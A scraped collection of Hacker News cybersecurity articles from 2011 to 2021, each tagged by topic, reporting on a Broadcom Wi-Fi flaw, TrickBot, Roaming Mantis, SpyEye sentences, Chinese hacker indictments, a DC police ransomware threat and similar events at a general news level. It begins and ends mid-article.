In advisory they reported that this error can be leveraged to denial of service attack, and possibly information disclosure. An attacker can send a RSN (802.11i) information element, which causes the Wi-Fi NIC to stop responding.
Products containing BCM4325 chipsets:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Ford Edge (yes, it's a car)
Products containing BCM4329 chipsets:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad
The DoS issue does not in any way compromise the security of users data. Broadcom has a patch available that addresses the issue and makes devices that include the BCM4325 and BCM4329 immune to a potential attack. The Proof of Concept Code and technical details are available at Advisory.
| Vulnerability |
NCIIPC: It's Time to Step Forward And Protect Our Critical Infrastructures from Cyber Attacks | https://thehackernews.com/2017/01/protect-critical-infrastructure.html | The IT threat landscape has changed dramatically over the last three-four years.
With no shortage of threat actors, from hacktivists to nation-states, criminals to terrorists, all of them are now after something new.
It's no more just about stealing your money, credit cards and defacing websites, as now they are after the intellectual property, mass attacks and most importantly, our critical infrastructures.
We have long-discussed nightmare scenarios of cyber attacks against nation's critical infrastructure, but now these scenarios have come to the real world, and we have seen many such incidents in the past years.
The latest example is cyber attacks against Ukrainian power grid. Just two weeks back, Ukraine's national power company Ukrenergo confirmed that electricity outage on 17-18th December last year was caused by a cyber attack.
Such sophisticated cyber attacks have revealed the extent of vulnerabilities in the systems that are operating the most critical sectors in a country.
Around 13 years ago, the Indian government established the Computer Emergency Response Team (CERT-In), and just like CERTs in other nations; it is responsible for collecting and sharing reports on cyber attacks against non-critical systems.
Every minute, we see about half a million attack attempts that are happening in cyberspace.
But, we are living in a dramatically fast changing world and unfortunately, which now includes threats not only against people, places, and information but also against strategic sectors and critical infrastructure of a nation, for which most organizations were never prepared for.
In order to address cybersecurity of critical infrastructure and evolve related practices, policies, and procedures to protect our most critical properties, the government set up a special body in 2014, named NCIIPC.
NCIIPC — National Critical Information Infrastructure Protection Centre — works under the country's technical Intelligence Agency, NTRO and vowed to work with public and private sectors to identify the nation's most critical assets and systems, and help them to create a foolproof firewall around these networks and overall risk management strategies.
Just last week, NCIIPC organized an event to celebrate its third anniversary of its foundation day, and I got an opportunity to attend the event and represent The Hacker News, among others, including — cyber security experts, policymakers, industry leaders, Academia and Government representatives.
The event aimed to provide a platform for all stakeholders of the CII ecosystem to converge, deliberate and formalize action plans for optimizing and improving protection of the vast array of CII deployed across the nation.
Here's a brief of last week's main events, in case you've missed them:
The event was inaugurated with the welcome address from Mr. Alok Joshi, Chairman NTRO, who briefly said that the cybersecurity threats are becoming more severe over time.
Attacks are happening now… but not only this, it is constantly changing and, in the case of cyber, the threats are becoming ever more sophisticated and insidious.
And It's true, everything is under attack… from highly critical infrastructures to medical devices.
Mr. Joshi's talk was followed by Dr.Arvind Gupta, Deputy National Security Advisor (NSA), Chief guest for the event, who primarily focused his talk on critical issues originated due to a massive number of unreported cyber-attacks.
He also showed support for the need of developing capabilities to strengthen cybersecurity research and development (R&D) community, which must include researchers, industry experts, and academia.
The event also witnessed insightful keynotes including Dr.Gulshan Rai, India's first National Cyber Security Coordinator and Dr. Sanjay Bahl, Director General CERT-In.
Both officials collaboratively said that NCIIPC is intended to promote collaboration and information sharing between government and industry to facilitate safe, secure and resilient Information Infrastructure for Critical Sectors of the Nation.
Moreover, delegates also discussed the security of Internet of Things -- the next generation critical Infrastructure.
Just as critical infrastructure is essential for everyday living, the rapidly growing "Internet of Things" is changing the way we use technology and helping people live more efficiently.
So, it has been concluded that to prevent our critical assets from sophisticated cyber attacks, we and organizations like NCIIPC, need to work together to identify the list of infrastructures that need special protection and know, who are after them.... waiting for opportunities to harm nation's economy and steal our secrets.
| Cyber_Attack |
Hackers Could Crash Trains by Hacking Rail Traffic System | https://thehackernews.com/2015/04/hacking-train-crash.html | After reaching heights in cyber attacks by targeting SCADA systems, hackers are looking forward to crash trains.
It isn't only assumptions; it could actually happen in real.
A new hi-tech railway signalling system being tested in the United Kingdom could potentially be hacked by cyber criminals to cause oncoming trains to crash into one another at highest speeds, an Internet security expert has warned.
The Loophole:
The European Rail Traffic Management System, a new digital system that are designed to make train lines secure and safer…
...actually lack in security that could easily expose the systems to malware and allows malicious actors (like terrorists) to cause massacre around the UK.
'Nasty Accident is Waiting.'
Internet security expert Professor David Stupple told the BBC that plans to replace old railway signal lights with new digital systems could expose the railway network to cyber attack, causing a "nasty accident" to happen involving terrorists as they could "easily expose the new mainframe."
"It's the clever malware that actually alters the way the train will respond," Stupple said. "So, it will perhaps tell the system the train is slowing down, when [it is] speeding up."
However, Stupple acknowledged that the Government are not complacent because they are completely aware of the dangers of the dangerous impacts and "they are worried about it."
The Internet security expert at City University also outlined that the operators and the government ministers are working on more safer and better security measures in order to avoid the upcoming cyber threat.
What could be the worse part?
Stubble also highlighted the government's fears that the possible and the biggest threat of hacking could come from an insider.
Yes, we talking about the Insider Threat.
In most of the cases, the security systems are very well protected against the outside malicious hackers and cyber attacks, but the real danger could come from an insider rogue employee.
"The weakness is getting malware into the system by employees," the expert explained. "Either because they are dissatisfied or being bribed or coerced."
The in-charge of the new Train System respond:
Network Rail, the in charge of the new train line upgrade that is expected to be completely operational by the 2020s, confirmed it has acknowledged the threat.
This means the new upgradation to the train lines could be at risk of a security breach.
"We know that the risk (of a cyber attack) will increase as we continue to roll out [the] digital technology across the network," a spokesman for National Rail told the BBC.
The spokesperson added that Network Rail will work closely with the government, the security operators, their partners and suppliers in the railway industry as well as the external cyber-security specialists to better understand the potential threat to the new systems.
| Malware |
Europe prepares for war with botnets ! | https://thehackernews.com/2011/03/europe-prepares-for-war-with-botnets.html | EU cyber security agency ENISA has warned that ISPs, end users and governments all have a role to play in stopping the global menace of botnet-related cyber crime.
Botnets, such as the one that uses the infamous Zeus malware to infect machines, are growing in scope and scale, and ENISA has released two reports in which it attempts to understand the root of the problem and how to tackle it.
The security agency warned that combating botnet attacks will take a co-ordinated response and should only be tackled after careful consideration of their impact and motivation.
"The botnet numbers define the political agenda and they determine hundreds of millions of euros of security investments. We should understand what is behind them," said Giles Hogben, the report editor.
"Size is not everything - the number of infected machines alone is an inappropriate measure of the threat."
ENISA's main report, Botnets: Measurement, Detection, Disinfection and Defence (PDF) is an investigation into how best to measure the size of botnets and their threats, and more importantly how to neutralise them.
Here, collaboration, specifically between nation states and their security mechanisms, is of considerable importance.
"Global co-operation is indispensable for successful defence against botnets," added Udo Helmbrecht, the executive director of ENISA.
The report suggests that botnets should be tackled on a co-ordinated basis, as sharing information about attacks will increase understanding and limit any further infection.
Enisa also suggested that laws should be harmonised as a way of ensuring a consistent approach by regulators.
Service providers should have a role to play too, in taking more responsibility for spotting suspicious activity on their networks.
ISPs should be "strongly incentivised" to improve monitoring and malware takedowns, according to the report.
End users were also the focus of some attention and they will be expected to do all they can to stop their machines getting infected with botnet malware.
ENISA wants to support this increased security push with educational or support programmes designed to raise awareness about personal protection.
A second report, titled Botnets: 10 Tough Questions, is a "distillation" of the body's discussions with experts including ISPs, security researchers, computer emergency response teams, anti-virus firms and law enforcement agencies.
It raises questions such as what kind of legislation is needed and where money should be invested.
A third report, scheduled for release later this year, will deal with the legislative environment surrounding such attacks.
| Malware |
U.S. Charges Three Chinese Hackers for Hacking Siemens, Trimble & Moody | https://thehackernews.com/2017/11/chinese-hackers-charged.html | The United States Justice Department has charged three Chinese nationals for allegedly hacking Moody's Analytics economist, German electronics manufacturer Siemens, and GPS maker Trimble, and stealing gigabytes of sensitive data and trade secrets.
According to an indictment unsealed Monday in federal court in Pittsburgh, Pennsylvania, the three men worked for a Chinese cybersecurity company, Guangzhou Bo Yu Information Technology Company Limited (Boyusec), previously linked to China's Ministry of State Security.
Earlier this year, security researchers also linked Boyusec to one of the active Chinese government-sponsored espionage groups, called Advanced Persistent Threat 3 (or APT3), which is also known as Gothic Panda, UPS Team, Buckeye, and TG-0110.
In 2013, APT3 allegedly stole the blueprints for ASIO's new Canberra building using a piece of malware that was uploaded to an ASIO employee's laptop.
According to the indictment, the three Chinese nationals—identified as Wu Yingzhuo, Dong Hao, and Xia Lei—launched "coordinated and unauthorized" cyber attacks between 2011 and 2017, and successfully steal information from a number of organizations by compromising their accounts.
The trio of hackers has alleged to have attacked Moody's Analytics, Siemens, and Trimble by sending spear-phishing emails with malicious attachments or links to malware.
The men also used customized tools collectively known as the 'ups' or 'exeproxy' malware to gain unauthorized, persistent access to the targeted companies' networks, allowing them to search for and steal confidential business information and user credentials.
"The primary goal of the co-conspirators' unauthorized access to victim computers was to search for, identify, copy, package, and steal data from those computers, including confidential business and commercial information, work product, and sensitive victim employee information, such as usernames and passwords that could be used to extend unauthorized access within the victim systems," the DOJ said.
The most affected one of the three companies was IT giant Siemens. According to the indictment, the defendants:
Stole approximately 407 gigabytes of data from Siemens' energy, technology and transportation businesses in 2014.
Hacked into Trimble's network and stole at least 275 megabytes of data, including trade secrets related to global navigation satellite systems technology the company spent millions of dollars developing, in 2015 and 2016.
Accessed an internal email server at Moody's in 2011 and forwarded the account of an unidentified "prominent employee" to their own accounts, and eventually accessing the confidential messages sent to that account until 2014.
According to the DoJ, both Wu and Dong were co-founders and shareholders of Boyusec, while Lei was an employee. All the three defendants were residents of Guangzhou.
The Chinese men have been charged with a total of eight counts, including one charge of committing computer fraud and abuse, two charges of committing trade secret theft, three counts of wire fraud and four to eight counts of aggravated identity theft.
If found guilty in the court of law, the hackers face a maximum sentence of 42 years in prison.
| Data_Breaches |
Hezbollah Hacker Group Targeted Telecoms, Hosting, ISPs Worldwide | https://thehackernews.com/2021/01/hezbollah-hacker-group-targeted.html | A "persistent attacker group" with alleged ties to Hezbollah has retooled its malware arsenal with a new version of a remote access Trojan (RAT) to break into companies worldwide and extract valuable information.
In a new report published by the ClearSky research team on Thursday, the Israeli cybersecurity firm said it identified at least 250 public-facing web servers since early 2020 that have been hacked by the threat actor to gather intelligence and steal the company's databases.
The orchestrated intrusions hit a slew of companies located in the U.S., the U.K., Egypt, Jordan, Lebanon, Saudi Arabia, Israel, and the Palestinian Authority, with a majority of the victims representing telecom operators (Etisalat, Mobily, Vodafone Egypt), internet service providers (SaudiNet, TE Data), and hosting and infrastructure service providers (Secured Servers LLC, iomart).
First documented in 2015, Volatile Cedar (or Lebanese Cedar) has been known to penetrate a large number of targets using various attack techniques, including a custom-made malware implant codenamed Explosive.
Volatile Cedar has been previously suspected of Lebanese origins — specifically Hezbollah's cyber unit — in connection with a cyberespionage campaign in 2015 that targeted military suppliers, telecom companies, media outlets, and universities.
The 2020 attacks were no different. The hacking activity uncovered by ClearSky matched operations attributed to Hezbollah based on code overlaps between the 2015 and 2020 variants of the Explosive RAT, which is deployed onto victims' networks by exploiting known 1-day vulnerabilities in unpatched Oracle and Atlassian web servers.
Using the three flaws in the servers (CVE-2019-3396, CVE-2019-11581, and CVE-2012-3152) as an attack vector to gain an initial foothold, the attackers then injected a web shell and a JSP file browser, both of which were used to move laterally across the network, fetch additional malware, and download the Explosive RAT, which comes with capabilities to record keystrokes, capture screenshots, and execute arbitrary commands.
"The web shell is used to carry out various espionage operations over the attacked web server, including potential asset location for further attacks, file installation server configuration and more," the researchers noted, but not before obtaining escalated privileges to carry out the tasks and transmit the results to a command-and-control (C2) server.
In the five years since the Explosive RAT was first seen, ClearSky said new anti-debugging features were added to the implant in its latest iteration (V4), with the communications between the compromised machine and the C2 server now encrypted.
While it's not surprising for threat actors to keep a low profile, the fact that Lebanese Cedar managed to stay hidden since 2015 without attracting any attention whatsoever implies the group may have ceased operations for prolonged periods in between to avoid detection.
ClearSky noted that the group's use of web shell as its primary hacking tool could have been instrumental in leading researchers to a "dead-end in terms of attribution."
"Lebanese Cedar has shifted its focus significantly. Initially they attacked computers as an initial point of access, then progressed to the victim's network then further progressing (sic) to targeting vulnerable, public facing web servers," the researchers added.
| Cyber_Attack |
Scam Alert: Your Trusted Friends Can Hack Your Facebook Account | https://thehackernews.com/2017/10/facebook-account-hacking-scam.html | If you receive a message from any of your Facebook Friends asking for urgent help to recover their Facebook account, since they've added you as one of their 'Trusted Contacts'—just don't blindly believe it.
Researchers have detected a new Facebook phishing scam that can even trick an experienced technical user into falling victim to the scam, helping an attacker gain access to your Facebook account.
This latest social media scam is abusing "Trusted Contact"—a Facebook account recovery feature that sends secret access codes to a few of your close friends in order to help you regain access to your Facebook account in case you forget your password or lost access to your account.
According to a public security alert published by AccessNow, the attack initiates by an already compromised account of one of your friends, asking for urgent help to get back into his/her Facebook account.
The attacker explains that you are listed as one of his/her Trusted Contacts on Facebook and asks you to check your email for a recovery code and share with the attacker (who's hiding behind the identity of your friend).
However, in actual, the code you received is not the key to unlock your friend's account, but instead, the attacker initiated "Forgot my password" request for your account in an attempt to hijack your Facebook account.
Knowing that a friend is in trouble, apparently one would share the code without giving a second thought.
"The new attack targets people using Facebook, and it relies on your lack of knowledge about the platform's Trusted Contacts feature," Access Now warns.
You should know Facebook's Trusted Contacts feature doesn't work the way this phishing attack suggests. To understand how this feature works, you can head on to this Facebook post.
The Access Now says, "So far we're seeing the majority of reports [falling victims to this new Facebook phishing scam] from human right defenders and activists from the Middle East and North Africa."
Although this latest Facebook scam is initiated using a compromised Facebook account of one of your friends, any of your Facebook friend can also intentionally trick you into handing over your Facebook account to them (looking at the way how people accept friend requests sent by anyone on the social media platform).
The best way to protect yourself is always to be vigilant to every recovery emails you receive, and read the recovery message or email carefully, even if it is sent by one of your actual friends.
Stay Safe!
| Cyber_Attack |
Windows Phone 7.5 Denial of Service Attack Vulnerability (Video Demonstration) | https://thehackernews.com/2011/12/windows-phone-75-denial-of-service.html | Denial of Service Attack Vulnerability in Windows Phone 7.5
Microsoft's range of Windows Phones suffer from a denial-of-service attack bug that allows attackers to reboot the device and disable the messaging functionality on a device.
A malicious SMS sent to a Windows Phone 7.5 device will force it to reboot and lock down the messaging hub . WinRumors reader Khaled Salameh discovered the flaw and reported it to us on Monday. WinRumors said tests revealed that the flaw affected a variety of devices running different builds of the mobile operating system. A Facebook chat message and Windows Live Messenger message will also trigger the bug.
Video Demonstration
Both Apple and Google have suffered from SMS bugs with their iOS and Android devices. Security researcher Charlie Miller discovered a flaw in the iOS 3.0 software that allowed attackers complete control over an iPhone at the time. Android-based phones also suffered in the SMS attack, but attackers could only knock a phone offline rather than gain full access.
Microsoft representatives did not immediately respond to a request for comment, but WinRumors says it is working with the tipster to privately reveal the flaw to Microsoft.
| Vulnerability |
TapLogger Android Trojan can Determine Tapped Keys | https://thehackernews.com/2012/04/taplogger-android-trojan-can-determine.html | TapLogger Android Trojan cab Determine Tapped Keys
Today's smartphones are shipp ed with various embedded motion sensors, such as the accelerometer, gyroscope, and orientation sensors. These motion sensors are useful in supporting the mobile UI innovation and motion-based commands. However, they also bring potential risks of leaking user's private information as they allow third party applications to monitor the motion changes of smart phones.
A team of researchers from Pennsylvania State University (PSU) and IBM have devised an Android-based Trojan that can use a handset's onboard movement sensors to crack passwords.
The team created an experimental app called TapLogger, which is based on the premise that when you tap on your touch screen, you're not just interacting with the screen, but moving the entire device. So if you hit a button in the upper right corner, your phone will actually move in that direction slightly, and that subtle movement is then read by the accelerometer and other sensors built-in to your device.
TapLogger was created by Zhi Xu, a PhD candidate in the Department of Computer Science and Engineering at PSU, Kun Bai, a researcher at IBM T.J. Watson Research Center and Sencun Zhu, an associate professor of Computer Science and Engineering at PSU's College of Engineering.
Accelerometer and orientation sensor data are not protected under Android's security model, and this means that they are exposed to any application, regardless of its permissions on the system, the research team said in a paper that was presented during the ACM Conference on Security and Privacy in Wireless and Mobile Networks on Tuesday.
In August 2011, a pair of researchers from University of California proposed a similar attack and designed a concept application called TouchLogger to demonstrate it.
| Vulnerability |
TrickBot Malware Gets UEFI/BIOS Bootkit Feature to Remain Undetected | https://thehackernews.com/2020/12/trickbot-malware-gets-uefibios-bootkit.html | TrickBot, one of the most notorious and adaptable malware botnets in the world, is expanding its toolset to set its sights on firmware vulnerabilities to potentially deploy bootkits and take complete control of an infected system.
The new functionality, dubbed "TrickBoot" by Advanced Intelligence (AdvIntel) and Eclypsium, makes use of readily available tools to check devices for well-known vulnerabilities that can allow attackers to inject malicious code in the UEFI/BIOS firmware of a device, granting the attackers an effective mechanism of persistent malware storage.
"This marks a significant step in the evolution of TrickBot as UEFI level implants are the deepest, most powerful, and stealthy form of bootkits," the researchers said.
"By adding the ability to canvas victim devices for specific UEFI/BIOS firmware vulnerabilities, TrickBot actors are able to target specific victims with firmware-level persistence that survives re-imaging or even device bricking capability."
UEFI is a firmware interface and a replacement for BIOS that improves security, ensuring that no malware has tampered with the boot process. Because UEFI facilitates the loading of the operating system itself, such infections are resistant to OS reinstallation or replacement of the hard drive.
TrickBot emerged in 2016 as a banking trojan but has since evolved into a multi-purpose malware-as-a-service (MaaS) that infects systems with other malicious payloads designed to steal credentials, email, financial data, and spread file-encrypting ransomware such as Conti and Ryuk.
Its modularity and versatility have made it an ideal tool for a diverse set of threat actors despite attempts by cyber vendors to take the infrastructure down. It has also been observed in conjunction with Emotet campaigns to deploy Ryuk ransomware.
"Their most common attack chain largely begins via Emotet malspam campaigns, which then loads TrickBot and/or other loaders, and moves to attack tools like PowerShell Empire or Cobalt Strike to accomplish objectives relative to the victim organization under attack," the researchers said. "Often, at the end of the kill-chain, either Conti or Ryuk ransomware is deployed."
To date, the botnet has infected more than a million computers, according to Microsoft and its partners at Symantec, ESET, FS-ISAC, and Lumen.
From a Reconnaissance Module to an Attack Function
The newest addition to their arsenal suggests that TrickBot can not only be used to target systems en masse with ransomware and UEFI attacks but also provide criminal actors even more leverage during ransom negotiation by leaving a covert UEFI bootkit on the system for later use.
The development is also yet another sign that adversaries are extending their focus beyond the operating system of the device to lower layers to avoid detection and carry out destructive or espionage-focused campaigns.
TrickBot's reconnaissance component, observed for the first time in October 2020 right after the take-down attempts orchestrated by the US Cyber Command and Microsoft, targets Intel-based systems from Skylake through Comet Lake chipsets to probe for vulnerabilities in the UEFI firmware of the infected machines.
Specifically, the researchers found that TrickBoot takes aim at the SPI flash chip that houses the UEFI/BIOS firmware, using an obfuscated copy of RWEverything tool's RwDrv.sys driver to check if the BIOS control register is unlocked and the contents of the BIOS region can be modified.
Although the activity is limited to reconnaissance so far, it wouldn't be a stretch if this capability is extended to write malicious code to the system firmware, thereby ensuring that attacker code executes before the operating system and paving the way for the installation of backdoors, or even the destruction of a targeted device.
What's more, given the size and scope of the TrickBot, an attack of this kind can have severe consequences.
"TrickBoot is only one line of code away from being able to brick any device it finds to be vulnerable," the researchers noted. "The national security implications arising from a widespread malware campaign capable of bricking devices is enormous."
With UEFI persistence, "TrickBot operators can disable any OS level security controls they want, which then allows them to re-surface to a modified OS with neutered endpoint protections and carry out objectives with unhurried time on their side."
To mitigate such threats, it's recommended that the firmware is kept up-to-date, BIOS write protections are enabled, and firmware integrity is verified to safeguard against unauthorized modifications.
| Malware |
Operation Card Shop : FBI Arrested 24 Credit Card Cyber Criminals | https://thehackernews.com/2012/06/operation-card-shop-fbi-arrested-24.html | Operation Card Shop : FBI Arrested 24 Credit Card Cyber Criminals
The FBI has arrested 24 cybercriminals part of an international law enforcement operation aiming to arrest and prosecute the users of a sting operation called "Carder Profit". The suspects, collared after a two-year investigation dubbed "Operation Card Shop," allegedly stole credit card and banking data and exchanged it with each other online.
"We put a major dent in cybercrime," she said. "This is an unprecedented operation."In the sting, which they called Operation Card Shop, undercover investigators created an online bazaar to catch buyers and sellers of credit card data and other private financial information. They also aimed at people who clone and produce the physical credit cards that are then used to buy merchandise.
Some CarderProfit users apparently learned of the involvement of the feds months ago. A Twitter user with the name @JoshTheGod wrote that "has informants and most likly to be believed as a Federal Sting," back in April.
Names of the arrested cybercriminals:
MICHAEL HOGUE - xVisceral
JARAND MOEN ROMTVEIT - zer0
MIR ISLAM - JoshTheGod
STEVEN HANSEN - theboner1
ALI HASSAN - Badoo
JOSHUA HICKS - OxideDox
MARK CAPARELLI - Cubby
SETH HARPER - Kabraxis314
CHRISTIAN CANGEOPO - 404myth
Many of the 11 individuals arrested in the United States offered specialized skills and products on the sting site. One, who used the screen name xVisceral, offered remote access tools known as RATS that would spy on computers and Web cameras; the programs sold for $50 a copy.
Federal officials maintained that the operation prevented potential losses of more than $200 million. Credit card providers were notified of more than 400,000 compromised credit and debit cards, the officials said.
"As the cyber threat grows more international, the response must be increasingly global and forceful," Manhattan U.S. Attorney Preet Bharara said.Bharara called the crackdown "largest coordinated international law enforcement action in history" directed criminals who use the Internet to traffic in stolen credit cards and bank accounts.
Operation Card Shop is the latest in a long string of cybercrime initiatives carried out by the FBI. In January, the agency shut down file-sharing site Megaupload after its staff was charged with copyright violations (inviting a retaliatory strike from Anonymous). Late last year, the FBI announced the arrest of six Estonian citizens after they were charged with using malware to infiltrate Internet advertising services
Yet another cybercrime-friendly community was targeted in the operation, although the press release is not discussing the matter. The community in question, Fraud.su, which currently returns an index page placed there by U.S law enforcement agencies.The operation appears to be widespread, as the web site of the UGNazi group (UGNAZI.com) is also defaced by U.S law enforcement agencies.
US officials said the operation prevented losses of $205m (£131m) from debit and credit cards.
| Malware |
Cybercriminals Hijack Router DNS to Distribute Android Banking Trojan | https://thehackernews.com/2018/04/android-dns-hijack-malware.html | Security researchers have been warning about an ongoing malware campaign hijacking Internet routers to distribute Android banking malware that steals users' sensitive information, login credentials and the secret code for two-factor authentication.
In order to trick victims into installing the Android malware, dubbed Roaming Mantis, hackers have been hijacking DNS settings on vulnerable and poorly secured routers.
DNS hijacking attack allows hackers to intercept traffic, inject rogue ads on web-pages and redirect users to phishing pages designed to trick them into sharing their sensitive information like login credentials, bank account details, and more.
Hijacking routers' DNS for a malicious purpose is not new. Previously we reported about widespread DNSChanger and Switcher—both the malware worked by changing the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by attackers.
Discovered by security researchers at Kaspersky Lab, the new malware campaign has primarily been targeting users in Asian countries, including South Korea, China Bangladesh, and Japan, since February this year.
Once modified, the rogue DNS settings configured by hackers redirect victims to fake versions of legitimate websites they try to visit and displays a pop-up warning message, which says—"To better experience the browsing, update to the latest chrome version."
It then downloads the Roaming Mantis malware app masquerading as Chrome browser app for Android, which takes permission to collect device' account information, manage SMS/MMS and making calls, record audio, control external storage, check packages, work with file systems, draw overlay windows and so on.
"The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker."
If installed, the malicious app overlays all other windows immediately to show a fake warning message (in broken English), which reads, "Account No.exists risks, use after certification."
Roaming Mantis then starts a local web server on the device and launches the web browser to open a fake version of Google website, asking users to fill up their names and date of births.
To convince users into believing that they are handing over this information to Google itself, the fake page displays users' Gmail email ID configured on their infected Android device, as shown in the screenshots.
"After the user enters their name and date of birth, the browser is redirected to a blank page at https://127.0.0.1:${random_port}/submit," researchers said. "Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English."
Since Roaming Mantis malware app has already gained permission to read and write SMS on the device, it allows attackers to steal the secret verification code for the two-factor authentication for victims' accounts.
While analysing the malware code, Researchers found reference to popular South Korean mobile banking and gaming applications, as well as a function that tries to detect if the infected device is rooted.
"For attackers, this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system," the researchers said.
What's interesting about this malware is that it uses one of the leading Chinese social media websites (my.tv.sohu.com) as its command-and-control server and sends commands to infected devices just via updating the attacker-controlled user profiles.
According to Kaspersky's Telemetry data, the Roaming Mantis malware was detected more than 6,000 times, though the reports came from just 150 unique users.
You are advised to ensure your router is running the latest version of the firmware and protected with a strong password.
You should also disable router's remote administration feature and hardcode a trusted DNS server into the operating system network settings.
| Malware |
BIOS Malware that can remotely destroy any computer, NSA claimed | https://thehackernews.com/2013/12/bios-malware-that-can-remotely-destroy_16.html | During a CBS Interview show "60 Minutes", The National Security Agency (NSA) officials claimed that China has developed a BIOS based malware that can remotely destroy any computer.
Obviously NSA is struggling to repair its image and in an effort to justify their extensive Surveillance programs, The NSA Director General Keith Alexander and Information Assurance Director Debora Plunkett made a number of claims.
During that interview NSA officials said that they had foiled a malware attack that could have taken down the U.S. economy.
"One of our analysts actually saw that the nation state had the intention to develop and to deliver, to actually use this capability to destroy computers," Plunkett said.
They have mentioned that this malware was distributed via social engineering and targeted emails, although the NSA director mentioned that their researchers worked with computer manufacturers and able to close the respective vulnerability.
"This is the BIOS system which starts most computers. The attack would have been disguised as a request for a software update. If the user agreed, the virus would've infected the computer." he added.
"Think about the impact of that across the entire globe. It could literally take down the U.S. economy." (BULLSHIT)
If this Malware was intentionally born to threat U.S Economy, then what about DNS Changer malware or Zeus banking Trojan or infomous CryptoLocker ransomware that extensively spread across USA? So, Why NSA's Surveillance programs are failed to defend us from similar known threats ?
Complete Interview Video:
The BIOS malware is not new in the cyber world, and really not a big threat, but if NSA seriously justifying their Surveillance program by saying that this so called BIOS malware was one of the biggest threat they has taken down, then LET ME LAUGH. (Score Card = Snowden : 3, NSA: 0)
| Malware |
Creators of SpyEye Virus Sentenced to 24 Years in Prison | https://thehackernews.com/2016/04/spyeye-banking-trojan.html | In Brief
Two International hackers, Aleksandr Andreevich Panin and Hamza Bendelladj, have been sentenced to a combined 24 years and 6 months in prison for their roles in developing and distributing SpyEye banking trojan, a powerful botnet similar to the infamous ZeuS malware.
Both hackers were charged with stealing hundreds of millions of dollars from banking institutions worldwide.
Masterminds behind the development and distribution of the infamous "SpyEye" botnet have finally been sentenced to a combined total of 24 years and 6 months in prison.
Aleksandr Andreevich Panin and Hamza Bendelladj have been sentenced for their roles in developing and distributing SpyEye malware that is said to have caused hundreds of millions of dollars in losses to the financial sector, the U.S. Justice Department said on Wednesday.
SpyEye, a successor to the notorious Zeus banking malware, has affected financial institutions since 2009.
Once infected, the malware connects to the command-and-control servers controlled by attackers and steals the victim's personal and financial information, like online banking credentials and credit card information using keyloggers and Web injection.
Panin, a 27-year-old Russian programmer also known by the aliases 'Gribodemon' and 'Harderman,' was sentenced by the court to nine years, six months in prison for developing SpyEye as a successor to Zeus.
In 2010, Panin allegedly received the source code and rights to sell Zeus from Evginy Bogachev, aka Slavik, and incorporated many components of it into SpyEye. Bogachev, who is currently the FBI's most wanted hacker, remains at large.
Panin's associate Bendelladj, a 27-year-old Algerian national also known by the hacker alias as 'Bx1' and 'Happy Hacker,' who hacked 217 banks, donated more than $280 Million to Palestinian charities. He got a sentence of 15-year in prison for marketing and advertising the SpyEye malware on various online forums.
Bendelladj sold versions of SpyEye to almost 150 clients for prices ranging from $1,000 to $8,500 and one of his customers, 'Soldier,' had reported having made over $3.2 Million in just six months using the virus.
The Department of Justice (DoJ) has described SpyEye as a "preeminent malware banking Trojan," which was used to infect over 50 million computers worldwide from 2010 to 2012, causing nearly $1 Billion in financial losses to individuals and financial institutions globally.
Bendelladj was arrested in Thailand in January 2013 and extradited to the United States at the same year while Panin was detained in July 2013 while he was flying through Hartsfield-Jackson Atlanta International Airport.
| Malware |
Hackers Threaten to Leak D.C. Police Informants' Info If Ransom Is Not Paid | https://thehackernews.com/2021/04/hackers-threaten-to-leak-dc-police.html | The Metropolitan Police Department (MPD) of the District of Columbia has become the latest high-profile government agency to fall victim to a ransomware attack.
The Babuk Locker gang claimed in a post on the dark web that they had compromised the DC Police's networks and stolen 250 GB of unencrypted files. Screenshots shared by the group, and seen by The Hacker News, include various folders containing what appears to be investigation reports, arrests, disciplinary actions, and other intelligence briefings.
Also called the DC Police, the MPD is the primary law enforcement agency for the District of Columbia in the U.S.
The ransomware gang has given the department three days to heed to their ransom demand or risk leaking sensitive files that could expose police informants to criminal gangs.
"Hello! Even an institution such as DC can be threatened, we have downloaded a sufficient amount of information from your internal networks, and we advise you to contact us as soon as possible, to prevent leakage, if no response is received within 3 days, we will start to contact gangs in order to drain the informants, we will continue to attack the state sector of the usa, fbi csa, we find 0 day before you, even larger attacks await you soon," the ransomware group said on their data leak site.
Babuk Locker is a relative newcomer in the ransomware landscape, with the group targeting transportation, healthcare, plastic, electronics, and agricultural sectors across the U.S., U.K., U.A.E., China, India, South Africa, Spain, Germany, and Italy at least since the beginning of 2021. The syndicate is also known for attacking Linux-based systems such as VMware ESXi.
"The Babuk gang highlighted the key problem that all organizations face when confronting threats, and that is speed," Cymulate CTO Avihai Ben-Yossef said. "The time it takes for known vulnerabilities to get patched on all systems is too long. Defenders that rely on manual security testing methodologies are unable to match the pace of threat actors in finding security gaps and fixing them."
| Malware |
Ticketmaster To Pay $10 Million Fine For Hacking A Rival Company | https://thehackernews.com/2021/01/ticketmaster-to-pay-10-million-fine-for.html | Ticketmaster has agreed to pay a $10 million fine after being charged with illegally accessing computer systems of a competitor repeatedly between 2013 and 2015 in an attempt to "cut [the company] off at the knees."
A subsidiary of Live Nation, the California-based ticket sales and distribution company used the stolen information to gain an advantage over CrowdSurge — which merged with Songkick in 2015 and later acquired by Warner Music Group (WMG) in 2017 — by hiring a former employee to break into its tools and gain insight into the firm's operations.
"Ticketmaster employees repeatedly – and illegally – accessed a competitor's computers without authorization using stolen passwords to unlawfully collect business intelligence," said Acting U.S. Attorney Seth DuCharme.
"Further, Ticketmaster's employees brazenly held a division-wide 'summit' at which the stolen passwords were used to access the victim company's computers, as if that were an appropriate business tactic."
